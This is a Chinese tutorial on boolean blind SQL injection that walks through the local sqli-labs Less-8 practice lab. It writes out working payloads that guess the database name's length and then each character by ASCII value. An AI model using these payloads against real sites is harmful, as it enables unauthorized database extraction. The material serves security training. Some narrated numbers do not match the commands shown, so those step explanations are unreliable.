SQL注入之布尔盲注

文章目录

  • 布尔盲注是什么?
  • 布尔盲注获取sqli-labs名称

布尔盲注是什么?

当存在SQL注入时,攻击者无法通过页面或请求的返回信息,回显或获取到SQL注入语句的执行结果,这种情况就叫盲注。

布尔型盲注就是利用返回的True或False来判断注入语句是否执行成功。它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。

什么情况下考虑使用布尔盲注?

  1. 该输入框存在注入点。
  2. 该页面或请求不会回显注入语句执行结果,故无法使用UNION注入。
  3. 对数据库报错进行了处理,无论用户怎么输入都不会显示报错信息,故无法使用报错注入。

布尔盲注是在SQL注入时没有回显和报错,无法使用联合查询和报错注入时的手段,它通过返回的布尔值true或false来判断注入语句是否成功,所以被叫作布尔盲注。

布尔盲注获取sqli-labs名称

安装sqli-labs数据库后,在虚拟机中打开链接:http://127.0.0.1/sqli-labs-master/Less-8/,以第8关为例,用布尔盲注获取数据库名称:

获取数据库名字的字符长度:

输入下面代码正常回显,说明数据库名称字符长度大于0

?id=2' and length(database())>0 --+

输入下面代码无回显,说明数据库名称字符长度小于10

?id=2' and length(database())>10 --+

最后经过测试确定数据库名称字符长度为8

?id=2' and length(database())=8 --+

用ASCII码获取数据库名称的字符

字母在计算机中可以转换成ASCII码,在SQL语句中也能判断长度,从而确定数据库名称的字符范围,进而猜测具体字符

substr函数:截取字符

首字符:

下面两条命令120无回显,110有回显

?id=2' and ascii(substr((select database()),1,1))>120 --+
?id=2' and ascii(substr((select database()),1,1))>110 --+

猜测ASCII码值为115,有回显,116无回显,所以正确的ASCII码是115

?id=2' and ascii(substr((select database()),1,1))=115 --+

运行结果:

SQL注入之布尔盲注_第1张图片

查看ASCII码对照表,确认数据库首字母为s。

第二个字符:

下面两条命令110无回显,109有回显

?id=2' and ascii(substr((select database()),2,1))>105 --+
?id=2' and ascii(substr((select database()),2,1))>102 --+

猜测ASCII码值为100,100无回显,101有回显,正确ASCII码为101,第二个字母为e

?id=2' and ascii(substr((select database()),2,1))=101 --+

运行结果:

SQL注入之布尔盲注_第2张图片

……

最后一个字符:

125无回显,120有回显

?id=2' and ascii(substr((select database()),8,1))>125 --+
?id=2' and ascii(substr((select database()),8,1))>120 --+

猜测ASCII值为121,121有回显,122无回显,正确ASCII码为121,最后一个字母为y

?id=2' and ascii(substr((select database()),8,1))=121 --+

运行结果:

SQL注入之布尔盲注_第3张图片

数据库名称为:

security

你可能感兴趣的:(网络安全,sql,数据库,oracle)